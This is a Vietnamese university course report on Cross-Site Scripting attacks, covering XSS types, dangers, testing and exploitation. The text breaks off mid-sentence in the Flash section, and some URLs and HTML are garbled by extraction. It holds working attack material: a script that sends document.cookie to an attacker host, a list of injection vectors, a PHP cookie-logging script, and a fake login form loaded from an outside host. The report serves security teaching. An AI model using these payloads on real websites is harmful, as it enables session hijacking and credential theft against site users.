ĐẠI HỌC ĐÀ NẴNG
TRƯỜNG ĐẠI HỌC BÁCH KHOA

KHOA CÔNG NGHỆ THÔNG TIN
Tel. (84-511) 736 949, Website: itf.ud.edu.vn, E-mail:

BÁO CÁO TIỂU LUẬN MÔN HỌC
AN TOÀN VÀ BẢO MẬT THÔNG TIN MẠNG

NGÀNH KHOA HỌC MÁY TÍNH
ĐỀ TÀI :
KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

GVHD

: TS. NGUYỄN TẤN KHÔI

Nhóm HV : 1. LÊ ĐỨC THỌ
2. VÕ XUÂN LỢI

Lớp Cao học KHMT Khóa 28 (2013  2015)

ĐÀ NẴNG, 01/2015


MỤC LỤC

1. GIỚI THIỆU CHUNG ................................................................................................ 1
2. GIỚI THIỆU VỀ XSS ................................................................................................. 1
2.1.

Tìm hiểu XSS.......................................................................................................... 1

2.1.1.

XSS là gì? ......................................................................................................... 1

2.1.2.

Làm thế nào chèn những đoạn mã JavaScript độc hại ..................................... 1

2.1.3.

JavaScript độc hại là gì? ................................................................................... 2

2.1.4.

Hậu quả của JavaScript độc hại ....................................................................... 2

2.1.5.

Các tác nhân trong một cuộc tấn công XSS ..................................................... 3

2.1.6.

Một ví dụ về kịch bản tấn công ........................................................................ 3

2.1.7.

Thực hiện kịch bản tấn công như thế nào? ...................................................... 4


2.2.

Các loại XSS ........................................................................................................... 4

2.2.1.

Stored XSS ....................................................................................................... 4

2.2.2.

Reflected XSS .................................................................................................. 5

2.2.3.

DOM-based XSS .............................................................................................. 6

2.3.

Mức độ nguy hiểm của XSS .................................................................................. 7

2.4.

Mục tiêu mà XSS hướng tới. ................................................................................. 7

3. HOẠT ĐỘNG CỦA XSS ............................................................................................. 8
4. CẢNH GIÁC VỚI XSS ............................................................................................. 11
5. KIỂM TRA LỖI XSS ................................................................................................ 12
5.1.

Sử dụng Tool ........................................................................................................ 12


5.2.

Thử bằng Code ..................................................................................................... 12

6. KHAI THÁC LỖI XSS.............................................................................................. 14
6.1.

Tóm tắt các bước thực hiện ................................................................................. 14

6.2.

Các cách thực hiện............................................................................................... 15

6.2.1.

Nghiên cứu cách lấy cookies .......................................................................... 15

6.2.2.

Nghiên cứu cách lấy account.......................................................................... 15

6.2.3.

Tấn Công XSS Bằng Flash............................................................................. 16

6.3.

Attacker dùng XSS để lừa đảo ............................................................................. 18



6.4.

Cách vượt qua cơ chế lọc ký tự ........................................................................... 18

7. PHÒNG CHỐNG XSS .............................................................................................. 19
7.1.

Với những dữ liệu người thiết kế và phát triển ứng dụng Web ......................... 19

7.2.

Đối với người dùng. ............................................................................................. 21

8. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS
..................................................................................................................................... 21
9. ĐÁNH GIÁ ................................................................................................................. 22
10. DEMO……………………………………………………………………………….26


1. GIỚI THIỆU CHUNG
Website ngày nay rất phức tạp và thường là các web động, nội dung của web được
cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các
website này dùng Cookie để xác thực người dùng.
Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được Cookie
người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy
hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các
hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thường dùng,
đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS).
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện

nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà
phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử
dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có
thể tiềm ẩn các lỗi XSS.
XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm

được những công việc sau:
1. Thay đổi cấu trúc của toàn bộ trang web.
2. Tạo tùy ý các phần tử HTML.
3. Định tuyến lại các hình thức liên kết
4. Phục hồi dữ liệu, xác thực
5. Gửi và nhận dữ liệu
6. Đọc các tổ hợp phím

2. GIỚI THIỆU VỀ XSS
2.1. Tìm hiểu XSS
2.1.1. XSS là gì?
XSS là từ viết tắt của Cross-Site Scripting là một kĩ thuật tấn công bằng cách chèn
vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã
script nguy hiểm.
Trong đó những đoạn mã nguy hiểm được chèn vào hầu hết được viết bằng ClientSite Script như javascript, Jscript, DHTML và cũng có thể là các thẻ HTML.
XSS là một lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế
ngày càng có nhiều người quan tâm đến lỗi này.

2.1.2. Làm thế nào chèn những đoạn mã JavaScript độc hại
Cách duy nhất để những hacker thực thi mã JavaScript độc hại của mình trong trình
duyệt của nạn nhân là chèn nó vào một trong những trang web mà các nạn nhân tải từ
trang web. Điều này sẽ xảy ra nếu người dùng nhập trực tiếp thông tin vào trang web, bởi
1



vì sau đó hacker có thể chèn vào một chuỗi, đó sẽ được coi như mã của trình duyệt của
nạn nhân.
Trong ví dụ dưới đây, một server-side script đơn giản được sử dụng để hiển thị bình
luận mới nhất trên một trang web:
print
print
print
print

"<html>"
"Latest comment:"
database.latestComment
"</html>"

Các kịch bản giả định rằng một lời bình luận chỉ bao gồm các văn bản. Tuy nhiên,
kể từ khi người dùng nhập trực tiếp, hacker có thể gửi bình luận này: "<script> ... script>". Bất kỳ người dùng truy cập vào trang hiện nay sẽ nhận được các phản ứng sau
đây:
<html> Latest comment:
<script>...</script>

Khi trình duyệt của người sử dụng tải trang, nó sẽ thực hiện bất cứ mã JavaScript
chứa bên trong thẻ <script>. Vậy là hacker đã thành công với cuộc tấn công của mình.

2.1.3. JavaScript độc hại là gì?
Lúc đầu, khả năng thực thi JavaScript trong trình duyệt của người dùng không có
vẻ đặc biệt nguy hiểm. Sau tất cả, JavaScript chạy trong một môi trường rất hạn chế có
quyền truy cập rất hạn chế vào các tập tin của người dùng và hệ điều hành. Trong thực

tế, người dùng có thể mở giao diện điều khiển JavaScript của trình duyệt và thực hiện bất
kỳ JavaScript mà họ muốn, và họ sẽ rất khó có khả năng gây ra bất kỳ thiệt hại cho máy
tính của bạn.
Tuy nhiên, khả năng nguy hiểm của JavaScript trở nên rõ ràng hơn khi xem xét các
sự kiện sau đây:
 JavaScript có quyền truy cập vào một số thông tin nhạy cảm của người dùng,
chẳng hạn như các tập tin cookie.
 JavaScript có thể gửi yêu cầu HTTP với nội dung tùy ý tới các điểm đến tùy ý
bằng cách sử dụng XMLHttpRequest và các cơ chế khác.
 JavaScript có thể làm thay đổi tùy vào HTML của trang hiện tại bằng cách sử
dụng phương pháp thao tác DOM.
Những sự kiện này kết hợp có thể gây ra lỗ hổng bảo mật rất nghiêm trọng, sẽ giải
thích sau.

2.1.4. Hậu quả của JavaScript độc hại
Trong số rất nhiều những thứ khác, khả năng thực thi JavaScript trong trình duyệt
của người dùng khác cho phép kẻ tấn công thực hiện các loại sau đây của các cuộc tấn
công:

2


Trộm cắp Cookie
Hacker có thể truy cập các tập tin cookie của nạn nhân liên quan đến những trang
web sử dụng file cookie, gửi chúng đến máy chủ của của website người dùng, và sử
dụng chúng để lấy thông tin nhạy cảm như ID.
Keylogging
Hacker có thể đăng ký một bàn phím lắng nghe sự kiện sử dụng addEventListener
và sau đó gửi tất cả các thao tác bàn phím của người sử dụng đến máy chủ của mình,
như mật khẩu và số thẻ tín dụng

Lừa đảo
Hacker có thể chèn một hình thức đăng nhập giả mạo vào trang web bằng cách sử
dụng thao tác DOM, thiết lập thuộc tính action của form đến máy chủ của mình, và sau
đó lừa người dùng vào gửi thông tin nhạy cảm.

2.1.5. Các tác nhân trong một cuộc tấn công XSS
Trước khi mô tả một cách chi tiết làm thế nào một cuộc tấn công XSS hoạt động,
chúng ta cần phải xác định các bên liên quan trong một cuộc tấn công XSS. Nói chung,
một cuộc tấn công XSS liên quan đến ba tác nhân: các trang web, các nạn nhân, và
những hacker.
 Những website có dạng http://website/.

 Cơ sở dữ liệu của website chứa những thông tin người dùng nhập vào website.
 Nạn nhân là những người dùng bình thường của website mà yêu cầu họ truy cập
những trang có hại ngay tại tình duyệt của mình.
 Những kẻ tấn công là một người sử dụng độc hại của các trang web có ý định để
khởi động một cuộc tấn công nạn nhân bằng cách khai thác một lỗ hổng XSS trong trang
web.
 Máy chủ của kẻ tấn công là một máy chủ web điều khiển bởi những kẻ tấn công
với mục đích duy nhất là ăn cắp thông tin nhạy cảm của nạn nhân.

2.1.6. Một ví dụ về kịch bản tấn công
Trong ví dụ này, chúng ta sẽ cho rằng mục tiêu cuối cùng của kẻ tấn công là để ăn
cắp cookie của nạn nhân bằng cách khai thác một lỗ hổng XSS trong trang web. Điều
này có thể được thực hiện bằng cách trình duyệt của nạn nhân phân tích mã HTML sau
đây
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>


Kịch bản này điều hướng trình duyệt của người dùng đến một URL khác nhau, gây
ra một yêu cầu HTTP đến máy chủ của kẻ tấn công. URL bao gồm các tập tin cookie của
nạn nhân như một tham số truy vấn, trong đó kẻ tấn công có thể trích xuất từ yêu cầu khi
nó đến với máy chủ của mình. Một khi kẻ tấn công đã có các tập tin cookie, họ có thể sử
dụng chúng để mạo danh các nạn nhân và khởi động nhiều cuộc tấn công hơn nữa.
3


Từ bây giờ, các mã HTML trên sẽ được gọi là chuỗi độc hại hoặc các đoạn mã độc
hại. Điều quan trọng cần lưu ý là chuỗi đó chỉ là độc hại nếu nó cuối cùng được phân tích
dưới dạng HTML trong trình duyệt của nạn nhân, mà chỉ có thể xảy ra như là kết quả của
một lỗ hổng XSS trong trang web

2.1.7. Thực hiện kịch bản tấn công như thế nào?
Biểu đồ dưới đây minh họa cách tấn công ví dụ này có thể được thực hiện bởi một
kẻ tấn công:

1. Hacker sử dụng một trong các hình thức của trang web để chèn một chuỗi độc
hại vào cơ sở dữ liệu của trang web.
2. Nạn nhân yêu cầu một trang từ trang web.
3. Trang web này bao gồm các chuỗi độc hại từ cơ sở dữ liệu trong các phản ứng và
gửi nó đến các nạn nhân.
4. Trình duyệt của nạn nhân thực thi các đoạn mã độc hại bên trong phản ứng, gửi
các tập tin cookie của nạn nhân vào máy chủ của kẻ tấn công.

2.2. Các loại XSS
Trong khi mục tiêu của một cuộc tấn công XSS luôn luôn thực thi JavaScript độc
hại trong trình duyệt của nạn nhân, có một số cách cơ bản khác nhau để đạt được mục
tiêu đó. Các cuộc tấn công XSS thường được chia thành ba loại:
2.2.1.


Stored XSS

Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một
đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một
chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành viên
4


khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được
lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do
chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc
được lưu vào Database của website.

2.2.2.

Reflected XSS

Trong một cuộc tấn công Reflected XSS, chuỗi độc hại là một phần của yêu cầu của
nạn nhân đến trang web. Trang web sẽ chứa chuỗi độc hại này trong các phản hồi được
gửi lại cho người sử dụng. Biểu đồ dưới đây minh họa kịch bản này:

1. Kẻ tấn công tạo ra một URL có chứa một chuỗi độc hại và gửi nó đến các nạn
nhân.
5


2. Kẻ tấn công lừa nạn nhân, yêu cầu nạn nhận truy cập URL chứa chuỗi độc hại từ
trang web.
3. Trang web này bao gồm các chuỗi độc hại từ các URL trong các phản hồi.

4. Trình duyệt của nạn nhân thực thi các đoạn mã độc hại bên trong phản hồi, gửi
các tập tin cookie của nạn nhân vào máy chủ của kẻ tấn công.

2.2.3. DOM-based XSS
DOM-based XSS là một biến thể của cả Stored XSS và Reflected XSS. Trong một
cuộc tấn công DOM-based XSS, chuỗi độc hại không thực sự phân tích bằng trình duyệt
của nạn nhân cho đến khi JavaScript hợp pháp của trang web được thực hiện. Biểu đồ
dưới đây minh họa kịch bản này cho một cuộc tấn công XSS phản ánh:

1. Kẻ tấn công tạo ra một URL chứa chuỗi độc hại và gửi nó đến nạn nhân.
2. Kẻ tấn công lừa nạn nhân thực hiện một yêu cầu truy cập đến URL này từ trang
web.
3. Website nhận được yêu cầu, nhưng không bao gồm chuỗi độc hị tỏng phản hồi.
4. Trình duyệt của nạn nhân thực thi mã script hợp pháp bên trong phản hồi, gây
nên việc mã độc hại được chèn vào trang web.
5. Trình duyệt của nạn nhân thực thi mã độc hại được chèn vào trang, và gửi file
cookies của nạn nhân đến máy chủ của kẻ tấn công.

6


2.3. Mức độ nguy hiểm của XSS
Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009

Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phương pháp tấn công
khác.
Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và
hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới
chỉ khắc phục được một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một
lỗi XSS trong bộ lọc của mình. Một phương pháp tối ưu vẫn còn đang ở phía trước.


2.4. Mục tiêu mà XSS hướng tới.
XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây:

7


* Truy cập thông tin nhạy cảm hoặc bị hạn chế
* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)
* Theo dõi thói quen lướt web của người dùng
* Thay đổi năng của trình duyệt
* Bôi nhọ danh tiếng của một cá nhân hay công ty
* Hủy hoại ứng dụng Web.
* Tấn công từ chối dịch vụ

...

3. HOẠT ĐỘNG CỦA XSS
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực hiện trên
trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay chèn virus…
Thường thì XSS có dạng như sau:
/>
8


Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟.
Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào
trang Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã
JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng
Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng.

Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:
<a href= "javas&#99;ript&#35;[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<liên kết rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">

<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([liên kết to code]);">
<div style="binding: url([liên kết to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài liệu từ />Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.

Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin
vượt quá tầm kiểm soát của server
Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các

URL như là :
was found
!');</script>

9


Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay
thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script.
Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn
của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với
website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên
đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn
công vào bề mặt của website.
Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình
duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của
website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại
họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật
khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ...
Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên
ngưới dùng khó mà phát hiện ra. Sau đây là cách mã hoá(HEX) các kí tự thường dùng
trong lỗi XSS của thanh AddressBar của Browser.

10


Ví dụ 3: Một địa chỉ đã được mã hóa HEX.
/>
72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6
A%73%6E%67%6F%63%2E%76%6E%6E%2E%6D%73%25%32%46%78%73%
73%2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E

4. CẢNH GIÁC VỚI XSS
Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có
một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn hoàn toàn
có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong
đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website
khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử
dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook

Express:
--====_ABC1234567890DEF_==== Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====---====_ABC1234567890DEF_====

Content-Type: audio/x-wav;
name="filename.ext.ext" Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có
thể mất mật khẩu. Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc
trộm thư mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thư mà không hề
cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ
cần với một đoạn mã HTML gửi trong thư bạn đã hoàn toàn bị mất cookie của mình.
<form action=" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>


Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì
cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ
dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất
ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ
HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ
11


hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi"
của website. Nếu như bạn gặp một liên kết có dạng:

/>Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào. Có thể là sẽ tắt JavaScript cho
trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu
bạn gặp một liên kết như thế này thì sao:

/>Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần
kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn
hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu
như bạn mất cảnh giác với XSS.
Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được
tìm ra có những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng
với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.

5. KIỂM TRA LỖI XSS
Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham
khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về
bảo mật như securityfocus.com, securiteam.com... Tuy nhiên nếu các website được tự viết
mã nguồn thì bạn không thể áp dụng phương pháp trên.
Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử
dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những
chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho
phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm
tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl
Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của
bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.
Và chúng ta có thể đưa ra hai cách chính sau:

5.1. Sử dụng Tool
Sử dụng nhiều chương trình dò quét lỗi của ứng dụng web, ví dụ như chương trình
Web Vulnerability Scanner để dò quét lỗi XSS.

5.2. Thử bằng Code
Thực hiện 5 bước:
Bước 1: Mở website cần kiểm tra

Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS. 1 Site bất kỳ bao giờ cũng có
các phần: Search, error message, web form. Chủ yếu lỗi XSS nằm ở phần này, nói chung

12


XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó nhận được
một cái gì đó. Ví dụ chúng ta nhập vào chuỗi „XSS‟
Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các thông
tin trả về. Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS…‟ , hay là „Tài khoản XSS
không chính xác‟, „Đăng nhập với XSS không thành công‟… thì khi đó khả năng chỗ đó
bị dính XSS là rất cao.
Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn
những đoạn code của chúng ta vào để thử tiếp, ví dụ như sau:
Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút
Submit, nếu chúng ta nhận được một popup có chữ „XSS‟ thì 100% bị dính XSS.
Ta có thể nhập vào form lỗi các thẻ sau:
 <script>alert('CSS Vulnerable')</script>
 <i*g csstest=javascript:alert('CSS Vulnerable')>
 &{alert('CSS Vulnerable') };
 <script>window.open( “ )</script>
 <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
 <EMBED SRC=" />AllowScriptAccess="always"></EMBED>

Ví dụ 4: Thông báo cho biết chắc chắn web đã bị lỗi XSS.

13


Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn

không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để
xem .
Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có thì
chắc chắn là website đó lỗi XSS 100%.
Gọi là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế
này : script=""> nghĩa là ta có thể
chèn code ngay trên thanh ADDRESS.
Bước 5: Lên kế hoạch kịch bản tấn công

6. KHAI THÁC LỖI XSS
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại
không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người
dùng!
Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông
tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra
cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của
ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của
hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng
dụng đó.

Sau đây là các bước khai thác XSS theo truyền thống:

6.1. Tóm tắt các bước thực hiện

14


Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS.
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web

(như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).
Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của
người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của
hacker.
Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập
vào tài khoản của người dùng.

6.2. Các cách thực hiện
Để hiểu rõ hơn về các tấn công XSS chúng ta xem xét ví dụ thực tế sau:

6.2.1. Nghiên cứu cách lấy cookies
Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.
Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file này

lên host của bạn như sau:
$cookie = $_GET['c'];
$ip = getenv('REMOTE_ADD');
$date = date("j F, Y, g:i, a");;
$referer = getenv('HTTP_REFERER');
$fp = fopen('info.txt','a');
fwrite($fp,'Cookie: '.$cookie. 'IP:' .$ip. 'date:' .$date. 'Referer:
'.$referer.' ');
fclose($fp);
header("location: http:// hostxss.com /");
?>

Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website
(bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname
là của trang web bị nhiễm XSS) dạng như sau :
http:// hostxss.com /search.cgi?query=<script>alert(document.cookie)</script>

hoặc
http:// hostxss.com /search.cgi?%71%75...72%69%70%74%3E (đã được mã hóa)

6.2.2. Nghiên cứu cách lấy account
Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.
Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host của bạn:

15


File này là để tạo ra một facesite (trang web giả giống trang web thật) để khi người
dùng nhập username và password thì chúng ta sẽ điều hướng và lưu thông tin trên file
info.txt.
document.body.innerHTML=„
border=0>
<BR>


Thông tin đăng nhập<BR>
<form action= />method=POST><table><TR><TD>Tên đăng nhập:</TD><TD>name=ten></TD></TR><TR><TD>Mật khẩu:</TD><TD>type=password></TD></TR><TR><TD></TD><TD>value=Login></TD></TR></table></form>
'

Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có

hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng như sau và gửi mail
hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào)
http:// hostxss.com /search.php?s="> src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>

Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site): Người dùng
không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ được lưu lại
trong file info.txt trên server của hacker.

6.2.3. Tấn Công XSS Bằng Flash
Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những
tập tin flash để đánh cắp thông tin.
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng
sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như
JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số

thường là một URL chẳng hạn như “”.
Ví dụ 5: getURL(“”)
Tuy nhiên có thể thay thế URL bằng JavaScript:
getURL(“javascript:alert(document.cookie)”

Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin
flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào
ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là:
Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:
getURL(“javascript:location(„?newcookie=‟+document.coo
kie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập
tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

16


Cách viết Action Scipt trong Flash
DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin
flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành
viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên
của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân xem tập tin
flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ
trên.
/>
17


Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn,
